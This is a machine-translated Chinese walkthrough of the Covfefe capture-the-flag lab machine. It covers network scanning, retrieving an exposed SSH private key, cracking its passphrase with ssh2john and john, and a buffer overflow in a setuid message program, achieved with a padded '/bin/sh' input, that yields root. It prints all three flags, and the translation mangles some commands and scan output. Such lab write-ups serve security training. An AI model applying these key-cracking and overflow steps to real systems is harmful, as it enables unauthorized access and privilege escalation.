Covfefe演练

首先,我想提到这篇文章将包含标记和解决此框的步骤。 我不想破坏别人的乐趣,我建议您多加考虑,并仅在您真的没有想法的情况下继续阅读。

此框包含3个标志,所以让我们获取它们!

扫描

从机器获取IP地址。

  root @ kali:〜#netdiscover -r 192.168.43.0/24 

然后,继续扫描机器:

  root @ kali:〜#nmap -A -O -p- 192.168.43.186 
  -剪- 
港口国服务版本
22 / tcp open ssh OpenSSH 7.4p1 Debian 10(协议2.0)
| ssh-hostkey:
| 2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a(RSA)
| 256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96(ECDSA)
| _ 256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc(EdDSA)
80 / tcp打开http nginx 1.10.3
| _http-server-header:nginx / 1.10.3
| _http-title:欢迎使用nginx!
31337 / tcp打开http Werkzeug httpd 0.11.15(Python 3.5.3)
| http-robots.txt:3个不允许的条目
| _ /。bashrc /.profile /税
| _http-标题:找不到404
  -剪- 

我将端口80视为死胡同,因为没有目录,实际上那里什么也没有。

Nikto没给我显示任何有用的信息,因此我去检查了端口31337上不允许的条目,并在taxs目录下找到了第一个标志:

做得好! 这是一个标志:flag1 {make_america_great_again}

我只是想确保没有剩余,所以我在端口31337上运行了dirb,并打开了一个隐藏的.ssh目录。

获得访问权限

我从.ssh目录下载了所有内容,然后从关键文件中下载了所有内容,我们的用户是“ simon”。 作为私钥所需的密码,我不得不破解它。 ssh2john是为此任务而设计的出色工具,非常易于使用。

  root @ kali:〜#ssh2john id_rsa>结果 

约翰只剩下破裂了:

  root @ kali:〜#约翰结果--format = ssh 
创建的目录:/home/username/.john
使用默认输入编码:UTF-8
已加载1个密码哈希(SSH [RSA / DSA 32/64])
按'q'或Ctrl-C放弃,几乎所有其他状态键
星际大战 (id_rsa)
1g 0:00:00:03完成2/3(2018-01-27 23:11)0.2816g / s 3532p / s 3532c / s 3532C / s starwars
使用“ --show”选项可以可靠地显示所有破解的密码
会话完成

使用此信息和私钥,我通过SSH成功​​登录。

  root @ kali:〜/下载#chmod 600 id_rsa 
root @ kali:〜/下载#ssh -i id_rsa simon@192.168.43.86
输入密钥“ id_rsa”的密码:
Linux covfefe 4.9.0-3-686#1 SMP Debian 4.9.30-2 + deb9u2(2017-06-26)i686
  Debian GNU / Linux系统附带的程序是免费软件; 
每个程序的确切分发条款在
/ usr / share / doc / * / copyright中的单个文件。
  Debian GNU / Linux绝对不提供担保 
适用法律允许。
simon @ covfefe:〜$

我在.bash_history文件中注意到使用了read_message命令。 我执行了程序,并提供了我的名字“ Simon”。

  simon @ covfefe:〜$ read_message 
请问你贵姓大名?
西蒙
你好西蒙! 这是您的消息:
 嗨,西蒙,希望您喜欢我们的私人消息系统。 
 我对它的工作方式感到非常满意! 
 如果您对它的工作方式感兴趣,那么我会将源代码的副本保留在主目录中。 
  -查理根 

非常有用的消息。 我立即转到根目录以检查此源代码,这给了我:

  simon @ covfefe:/ root $ cat read_message.c 
#include
#include
#include
  //您越来越近了! 这是另一个标志: 
// flag2 {use_the_source_luke}
  int main(int argc,char * argv []){ 
char program [] =“ / usr / local / sbin / message”;
char buf [20];
char授权[] =“ Simon”;
  printf(“你叫什么名字?\ n”); 
得到(buf);
  //仅比较前五个字符以节省宝贵的周期: 
如果(!strncmp(authorized,buf,5)){
printf(“您好,%s!这是您的消息:\ n \ n”,buf);
//这很安全,因为用户不会弄乱二进制位置:
execve(程序,NULL,NULL);
}其他{
printf(“对不起,%s,您不是%s!已通知互联网警察此违规行为。\ n”,buf,已授权);
退出(EXIT_FAILURE);
}
  } 

我有第二个标志:

flag2 {use_the_source_luke}

现在是时候利用该程序了。 如您所见,逻辑仅比较了前5个字符,缓冲区为20个字符。 因此,在20个字符之后,我能够通过提供系统shell的完整路径来以root用户身份执行系统shell。

  simon @ covfefe:/ root $ read_message 
请问你贵姓大名?
Simonaaaaaaaaaaaaaaaaa / bin / sh
你好Simonaaaaaaaaaaaaaaaaa / bin / sh! 这是您的消息:
  # 我是谁 

#猫flag.txt
你做到了! 恭喜,这是最后一个标志:
flag3 {das_bof_meister}

盒子终于扎根了,最后一个标志是:

flag3 {das_bof_meister}